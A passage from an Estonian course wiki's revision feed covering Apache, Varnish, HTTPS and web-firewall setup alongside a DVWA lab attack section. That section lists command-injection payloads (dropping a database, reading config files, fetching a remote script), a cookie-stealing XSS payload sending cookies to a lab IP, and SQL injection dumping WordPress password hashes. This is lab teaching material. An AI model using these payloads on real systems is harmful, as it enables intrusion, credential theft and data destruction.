2&#039; union select TABLE_SCHEMA, TABLE_NAME from information_schema.tables;# --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,COLUMN_NAME from information_schema.columns; # --&lt;br /&gt;
&lt;br /&gt;
4&#039; union select user_login,user_pass from wp.wp_users; #&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,concat(COLUMN_NAME,&#039;-&#039;,&#039;LISA&#039;) from information_schema.columns; #&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=GreenSQL firewall=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://elab.itcollege.ee:8000/Day3/greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
dpkg -i greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
apt-get install -f&lt;br /&gt;
&lt;br /&gt;
#Modify existing virtualhost or create new virtualhost.&lt;br /&gt;
&lt;br /&gt;
cd /var/www/EXISTINGORNEW&lt;br /&gt;
ln -s /usr/share/greensql-fw/ greensql&lt;br /&gt;
&lt;br /&gt;
cd greensql&lt;br /&gt;
chmod 0777 templates_c&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutajanimi veebiliidesel on &#039;&#039;&#039;admin&#039;&#039;&#039; ja parool &#039;&#039;&#039;pwd&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke DVWA config failis andmebaasi asukohta:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$_DVWA[ &#039;db_server&#039; ] = &#039;127.0.0.1:3305&#039;;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#lisage faili /etc/rc.local järgmine ride ENNE exit 0 rida&lt;br /&gt;
service greensql-fw start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=modsecurity=&lt;br /&gt;
==installeerimine==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt-get install libapache2-mod-security2&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke faili &#039;&#039;&#039;/etc/apache2/mods-available/security2.conf&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;IfModule security2_module&amp;gt;&lt;br /&gt;
        # Default Debian dir for modsecurity&#039;s persistent data&lt;br /&gt;
        SecDataDir /var/cache/modsecurity&lt;br /&gt;
&lt;br /&gt;
        # Include all the *.conf files in /etc/modsecurity.&lt;br /&gt;
        # Keeping your local configuration in that directory&lt;br /&gt;
        # will allow for an easy upgrade of THIS file and&lt;br /&gt;
        # make your life easier&lt;br /&gt;
        IncludeOptional /etc/modsecurity/*.conf&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme nimelingi modsecurity reeglite seadistamiseks:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ln -s /usr/share/modsecurity-crs/modsecurity_crs_10_setup.conf /etc/modsecurity/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Apache2 tweaks=&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
ServerSignature Off&lt;br /&gt;
ServerTokens Prod&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://chandank.com/webservers/apache/apache-web-server-hardening-security?start=3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Apache testimine ==&lt;br /&gt;
Lisaks ab&#039;le on olemas ka teisi utiliite:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1.Apache JMeter - http://jmeter.apache.org/download_jmeter.cgi &amp;lt;br&amp;gt;&lt;br /&gt;
2. httperf - http://www.hpl.hp.com/research/linux/httperf/download.php &amp;lt;br&amp;gt;&lt;br /&gt;
3. OpenWebLoad - http://openwebload.sourceforge.net/#download &amp;lt;br&amp;gt;&lt;br /&gt;
4. Allmon - https://code.google.com/p/allmon/downloads/list &amp;lt;br&amp;gt;&lt;br /&gt;
5. CLIF - http://clif.ow2.org/download/index.html &amp;lt;br&amp;gt;&lt;br /&gt;
6. curl-loader - http://sourceforge.net/projects/curl-loader/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
7. deluge(alates 2002 ei ole uusi versioone) - http://sourceforge.net/projects/deluge/ &amp;lt;br&amp;gt;&lt;br /&gt;
8. dieseltest(ainult windowsile ning pole uuendatud aastast 2001) - http://sourceforge.net/projects/dieseltest/ &amp;lt;br&amp;gt;&lt;br /&gt;
9. FWPTT - http://sourceforge.net/projects/fwptt/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
10. http_load - http://www.acme.com/software/http_load/ &amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88391</id>
		<title>Virtualhost apache2 näitel</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88391"/>
		<updated>2015-05-04T10:06:29Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* installeerimine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:IT infrastruktuuri teenused]]&lt;br /&gt;
=Apache seadistamine=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/hosts&lt;br /&gt;
&lt;br /&gt;
192.168.56.101  www.planet.zz&lt;br /&gt;
192.168.56.101  sales.planet.zz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ping www.planet.zz&lt;br /&gt;
&lt;br /&gt;
ping sales.planet.zz    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
apt-get update     &lt;br /&gt;
apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
mkdir -p /var/www/www.planet.zz&lt;br /&gt;
mkdir -p /var/www/sales.planet.zz&lt;br /&gt;
cp /var/www/index.html /var/www/www.planet.zz&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat &amp;gt;&amp;gt; /etc/network/interfaces &amp;lt;&amp;lt;EOL&lt;br /&gt;
auto eth1:0&lt;br /&gt;
iface eth1:0 inet static&lt;br /&gt;
        address 192.168.56.201&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
EOL&lt;br /&gt;
&lt;br /&gt;
ifup eth1:0&lt;br /&gt;
&lt;br /&gt;
cp /var/www/index.html /var/www/sales.planet.zz&lt;br /&gt;
vim /var/www/www.planet.zz/index.html&lt;br /&gt;
vim /var/www/sales.planet.zz/index.html&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/www.planet.zz&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/sales.planet.zz&lt;br /&gt;
&lt;br /&gt;
vim www.planet.zz &lt;br /&gt;
vim sales.planet.zz &lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz&lt;br /&gt;
a2ensite sales.planet.zz &lt;br /&gt;
service apache2 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=WordPress tuning=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
        ServerName wp.planet.zz&lt;br /&gt;
        DocumentRoot /var/www/wordpress&lt;br /&gt;
        &amp;lt;Directory /&amp;gt;&lt;br /&gt;
                Options FollowSymLinks&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
                Options Indexes FollowSymLinks MultiViews&lt;br /&gt;
                AllowOverride All&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/&lt;br /&gt;
        &amp;lt;Directory &amp;quot;/usr/lib/cgi-bin&amp;quot;&amp;gt;&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                Allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
&lt;br /&gt;
        # Possible values include: debug, info, notice, warn, error, crit,&lt;br /&gt;
        # alert, emerg.&lt;br /&gt;
        LogLevel warn&lt;br /&gt;
&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&lt;br /&gt;
    Alias /doc/ &amp;quot;/usr/share/doc/&amp;quot;&lt;br /&gt;
    &amp;lt;Directory &amp;quot;/usr/share/doc/&amp;quot;&amp;gt;&lt;br /&gt;
        Options Indexes MultiViews FollowSymLinks&lt;br /&gt;
        AllowOverride None&lt;br /&gt;
        Order deny,allow&lt;br /&gt;
        Deny from all&lt;br /&gt;
        Allow from 127.0.0.0/255.0.0.0 ::1/128&lt;br /&gt;
    &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pange tähele muudetud Directory seadeid.&lt;br /&gt;
&amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
AllowOverride All&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &#039;-1000&#039; &amp;gt; /proc/$(pidof mysqld)/oom_score_adj&lt;br /&gt;
a2enmod rewrite &lt;br /&gt;
a2enmod headers &lt;br /&gt;
a2enmod expires &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selle rea võib lisada alglaadimisel käivitatavasse faili &#039;&#039;/etc/rc.local&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Paigaldage oma valitud cace plugin wordpressile.&lt;br /&gt;
&lt;br /&gt;
=Varnish=&lt;br /&gt;
Esmaselt tõstame apache2 porti 8080&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/apache2/ports.conf&lt;br /&gt;
NameVirtualHost *:8080&lt;br /&gt;
Listen 8080&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; default -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; wp -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; sales.planet.zz -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; www.planet.zz -i&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
grep &#039;:80&#039; *&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
netstat -lntp&lt;br /&gt;
&lt;br /&gt;
#installeerime varnish cache&lt;br /&gt;
apt-get install varnish&lt;br /&gt;
vim /etc/default/varnish&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DAEMON_OPTS=&amp;quot;-a :80 \&lt;br /&gt;
             -T localhost:6082 \&lt;br /&gt;
             -f /etc/varnish/default.vcl \&lt;br /&gt;
             -S /etc/varnish/secret \&lt;br /&gt;
             -s malloc,256m&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Faili /etc/varnish/default.vcl lisada X-Forwarded-For sedmine&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sub vcl_recv {&lt;br /&gt;
&lt;br /&gt;
  # Add a unique header containing the client address&lt;br /&gt;
&lt;br /&gt;
  remove req.http.X-Forwarded-For;&lt;br /&gt;
&lt;br /&gt;
  set    req.http.X-Forwarded-For = client.ip;&lt;br /&gt;
&lt;br /&gt;
  # [...]&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service varnish restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb seadistada apache veebiserver selliselt, et logis kasutatakse seda custom-logi formaati. Selleks tuleb avada soovitud veebiserveri konfiguratsioon asukohas:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Avage soovitud veebiserveri konfiguratsioonifail. Antud näites kasutan &amp;quot;wp&amp;quot;-nimelist faili.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano wp&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sinna tuleb kirjutada CustomLog&#039;i rea asemele&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/access.log varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb muuta apache2 konfiguratsiooni, kuhu tuleb seadistada varnishcombined logiformaat. Selleks liigu asukohta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/conf.d/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee sinna uus fail nimega näiteks &#039;&#039;&#039;varnishlog.conf&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano varnishlog.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kirjuta sinna see rida&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LogFormat &amp;quot;%{X-Forwarded-For}i %l %u %t \&amp;quot;%r\&amp;quot; %&amp;gt;s %b \&amp;quot;%{Referer}i\&amp;quot; \&amp;quot;%{User-Agent}i\&amp;quot;&amp;quot; varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee apache2 teenusele restart&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
=HTTPS konfigureerimine=&lt;br /&gt;
&lt;br /&gt;
ssh-keygen &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Generating public/private rsa key pair.&lt;br /&gt;
Enter file in which to save the key (/root/.ssh/id_rsa): /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Enter passphrase (empty for no passphrase): &lt;br /&gt;
Enter same passphrase again: &lt;br /&gt;
Your identification has been saved in /etc/ssl/private/www.planet.zz.key.&lt;br /&gt;
Your public key has been saved in /etc/ssl/private/www.planet.zz.key.pub.&lt;br /&gt;
The key fingerprint is:&lt;br /&gt;
76:6e:6a:b4:1b:75:7e:39:18:12:59:ee:9c:4c:b9:ef root@server&lt;br /&gt;
The key&#039;s randomart image is:&lt;br /&gt;
+--[ RSA 2048]----+&lt;br /&gt;
|            .    |&lt;br /&gt;
|           + .   |&lt;br /&gt;
|          o +    |&lt;br /&gt;
|           * o   |&lt;br /&gt;
|        S + O    |&lt;br /&gt;
|       ..+ + + . |&lt;br /&gt;
|       ...o o =  |&lt;br /&gt;
|        o+   o . |&lt;br /&gt;
|       .o.    E  |&lt;br /&gt;
+-----------------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
openssl req -new -key /etc/ssl/private/www.planet.zz.key -out /root/www.planet.zz.req&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
You are about to be asked to enter information that will be incorporated&lt;br /&gt;
into your certificate request.&lt;br /&gt;
What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;
There are quite a few fields but you can leave some blank&lt;br /&gt;
For some fields there will be a default value,&lt;br /&gt;
If you enter &#039;.&#039;, the field will be left blank.&lt;br /&gt;
-----&lt;br /&gt;
Country Name (2 letter code) [AU]:EE&lt;br /&gt;
State or Province Name (full name) [Some-State]:Harjumaa&lt;br /&gt;
Locality Name (eg, city) []:Tallinn&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Planet &lt;br /&gt;
Organizational Unit Name (eg, section) []:&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:www.planet.zz&lt;br /&gt;
Email Address []:&lt;br /&gt;
&lt;br /&gt;
Please enter the following &#039;extra&#039; attributes&lt;br /&gt;
to be sent with your certificate request&lt;br /&gt;
A challenge password []:&lt;br /&gt;
An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sudo openssl x509 -req -days 3650 -in /root/www.planet.zz.req -signkey /etc/ssl/private/www.planet.zz.key -out /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Signature ok&lt;br /&gt;
subject=/C=EE/ST=Harjumaa/L=Tallinn/O=Planet/OU=IT/CN=www.planet.zz&lt;br /&gt;
Getting Private key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cp /etc/apache2/sites-available/default-ssl /etc/apache2/sites-available/www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
Seal muuta sisu (sert, dokument root, keyfail)&lt;br /&gt;
&lt;br /&gt;
Lisa ServerName, Muuda DocumentRoot, Muuda SSLCertificateFile ja SSLCertificateKeyFile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ServerName      www.planet.zz&lt;br /&gt;
DocumentRoot /var/www/www.planet.zz&lt;br /&gt;
SSLCertificateFile    /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
SSLCertificateKeyFile /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
=ID kaart=&lt;br /&gt;
&lt;br /&gt;
[[ID kaardiga autentimine Apache2 veebiserveriga]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
==cmd exec==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;/UUUU/&#039; ../../config/config.inc.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls -l &lt;br /&gt;
8.8.8.8; ls -l ../&lt;br /&gt;
8.8.8.8; ls -l ../../&lt;br /&gt;
#jne, kuni kõik failid/kataloogid on teada&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;//&#039;  ../../../../wordpress/wp-config.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Loon faili kala /var/tmp kataloogi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; touch /var/tmp/kala.txt&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ning kontrollin kas fail loodi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls /var/tmp/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kustutada andmebaas (eelnevalt uurida andmebaasi nime ning parooli):&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;mysqladmin DROP dvwa -y;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kuvada failide infot:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;cat /etc/apache2/sites-enabled/www.planet.zz&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
skripti laadimine serverisse ning sellele käivitusbiti andmine:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; wget http://enos.itcollege.ee/~kloodus/osadmin/skript.sh -O /var/tmp/skript; chmod +x /var/tmp/skript/skript.sh&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuidas teada saada, kas küpsised on JavaScriptile kasutamiseks lubatud või mitte. Lahendus kasutab command execution&#039;it (XSS auku pole leitud, ei saa kasutada, ...)&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
; grep session.cookie_httponly /etc/php5/apache2/php.ini&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund:&lt;br /&gt;
* kui küpsised ei ole JavaScriptile loetavad, siis on väljund selline:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 1&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* kui küpsised on JavaScriptile loetavad, siis on väljund selline (HINT: Tegutse ruttu! :))&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
==XSS==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;var i=&#039;&amp;lt;img src=&amp;quot;http://192.168.56.101/&#039;+document.cookie+&#039;&amp;quot; /&amp;gt;&#039;; document.write(i);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==veel XSSi==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
%3Cscript%3Evar+i%3D%27%3Cimg+src%3D%22http%3A%2F%2F192.168.56.101%2F%27%2Bdocument.cookie%2B%27%22+%2F%3E%27%3B+document.write%28i%29%3B%3C%2Fscript%3E&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==SQLi==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
#blind&lt;br /&gt;
1&#039; union select BENCHMARK(100000000,ENCODE(&#039;hello&#039;,&#039;goodbye&#039;)),1; # --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2&#039; union select TABLE_SCHEMA, TABLE_NAME from information_schema.tables;# --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,COLUMN_NAME from information_schema.columns; # --&lt;br /&gt;
&lt;br /&gt;
4&#039; union select user_login,user_pass from wp.wp_users; #&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,concat(COLUMN_NAME,&#039;-&#039;,&#039;LISA&#039;) from information_schema.columns; #&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=GreenSQL firewall=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://elab.itcollege.ee:8000/Day3/greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
dpkg -i greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
apt-get install -f&lt;br /&gt;
&lt;br /&gt;
#Modify existing virtualhost or create new virtualhost.&lt;br /&gt;
&lt;br /&gt;
cd /var/www/EXISTINGORNEW&lt;br /&gt;
ln -s /usr/share/greensql-fw/ greensql&lt;br /&gt;
&lt;br /&gt;
cd greensql&lt;br /&gt;
chmod 0777 templates_c&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutajanimi veebiliidesel on &#039;&#039;&#039;admin&#039;&#039;&#039; ja parool &#039;&#039;&#039;pwd&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke DVWA config failis andmebaasi asukohta:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$_DVWA[ &#039;db_server&#039; ] = &#039;127.0.0.1:3305&#039;;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#lisage faili /etc/rc.local järgmine ride ENNE exit 0 rida&lt;br /&gt;
service greensql-fw start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=modsecurity=&lt;br /&gt;
==installeerimine==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt-get install libapache2-mod-security2&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke faili &#039;&#039;&#039;/etc/apache2/mods-available/security2.conf&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;IfModule security2_module&amp;gt;&lt;br /&gt;
        # Default Debian dir for modsecurity&#039;s persistent data&lt;br /&gt;
        SecDataDir /var/cache/modsecurity&lt;br /&gt;
&lt;br /&gt;
        # Include all the *.conf files in /etc/modsecurity.&lt;br /&gt;
        # Keeping your local configuration in that directory&lt;br /&gt;
        # will allow for an easy upgrade of THIS file and&lt;br /&gt;
        # make your life easier&lt;br /&gt;
        IncludeOptional /etc/modsecurity/*.conf&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme nimelingi modsecurity reeglite seadistamiseks:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ln -s /usr/share/modsecurity-crs/modsecurity_crs_10_setup.conf /etc/modsecurity/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==CRS==&lt;br /&gt;
https://github.com/SpiderLabs/owasp-modsecurity-crs&lt;br /&gt;
&lt;br /&gt;
=Apache2 tweaks=&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
ServerSignature Off&lt;br /&gt;
ServerTokens Prod&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://chandank.com/webservers/apache/apache-web-server-hardening-security?start=3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Apache testimine ==&lt;br /&gt;
